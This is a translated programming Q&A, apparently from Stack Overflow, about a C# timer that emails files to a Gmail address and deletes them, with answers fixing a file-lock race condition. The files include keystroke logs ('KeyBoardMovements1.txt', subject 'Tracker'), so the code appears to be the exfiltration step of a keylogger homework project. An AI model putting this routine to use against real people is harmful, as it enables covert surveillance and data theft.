1

我必须在计时器正文中发送电子邮件,在 c# 应用程序中,计时器间隔为 2 秒

try
{
    string[] filePaths = Directory.GetFiles(@"D:\ISS_Homewrok\");
    foreach (string filePath in filePaths)
    {
        SendEmail(filePath);
        File.Delete(filePath);
    }
}
catch (Exception ex)
{
    MessageBox.Show(ex.ToString());
}

删除文件时抛出此异常

    System.IO.IOException: The process cannot access the file 'D:\ISS_Homewrok\KeyBoardMovements1.txt' because it is being used by another process.
 at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.IO.File.Delete(String path)
   at ISS_Homework.Form1.timer_tick(Object sender, ElapsedEventArgs e)

SendEmail 方法是:

private void SendEmail(string p)
    {
        SmtpClient smtp;
        //Detailed Method
        MailAddress mailfrom = new MailAddress("samahnizam@gmail.com");
        MailAddress mailto = new MailAddress("rubaabuoturab@gmail.com");
        MailMessage newmsg = new MailMessage(mailfrom, mailto);
        newmsg.Subject = "Tracker";
        //For File Attachment, more file can also be attached
        try
        {
            Attachment att = new Attachment(p);
            newmsg.Attachments.Add(att);
            smtp = new SmtpClient("smtp.gmail.com", 587);
            smtp.UseDefaultCredentials = false;
            smtp.Credentials = new NetworkCredential("XXXXX", "XXXXX");
            smtp.EnableSsl = true;
            smtp.Send(newmsg);
        }
        catch (Exception ex)
        {
        }
    }

编辑: 我已经将计时器间隔设置为 1 分钟,但仍在抛出异常!请提供任何帮助。

4

3 回答 3

0

我猜您正在处理您的旧请求时尝试发送新邮件。当两个进程都试图访问一个文件时,它会崩溃。解决方案:将您的函数包装在 backgroundworker.dowork 过程中。每次定时器触发时,它都可以检查 backgroundworker.isbusy 方法来检查旧进程是否已完成。如果没有,只需等待两秒钟。

没有代码,因为我在 Vb.net 中编程

于 2012-11-05T14:47:35.337 回答
0

你用的是什么定时器?.Net 框架中有四种不同类型的 Timer,其中一些会产生新线程来处理 Elapsed/Tick 事件。

在这种情况下,我怀疑发送所有电子邮件所花费的时间比计时器滴答声之间的时间间隔要长。如果您正在使用其中一个线程计时器,那么您的文件将同时被多个计时器线程读取。请参阅MSDN上的文档:

引发 Elapsed 事件的信号总是排队等待在 ThreadPool 线程上执行,因此事件处理方法可能在一个线程上运行,同时对 Stop 方法的调用在另一个线程上运行。这可能会导致在调用 Stop 方法后引发 Elapsed 事件。下一节中的代码示例显示了一种解决这种竞争条件的方法。

我要做的是在您的例程开始时设置一个标志,以指示该进程当前正在运行,如果是这种情况则退出:

if (_isRunning)
    return;

try
{
    _isRunning = true;
    string[] filePaths = Directory.GetFiles(@"D:\ISS_Homewrok\");
    foreach (string filePath in filePaths)
    {
        SendEmail(filePath);
        File.Delete(filePath);
    }
}
catch (Exception ex)
{
    MessageBox.Show(ex.ToString());
}
finally
{  _isRunning = false; }
于 2012-11-05T14:48:00.097 回答
0

你可以试试你的定时器功能

timer.Stop();
try
{
    string[] filePaths = Directory.GetFiles(@"D:\ISS_Homewrok\");
    foreach (string filePath in filePaths)
    {
        SendEmail(filePath);
        File.Delete(filePath);
    }
}
catch (Exception ex)
{
    MessageBox.Show(ex.ToString());
}
timer.Start();
于 2012-11-05T14:41:36.360 回答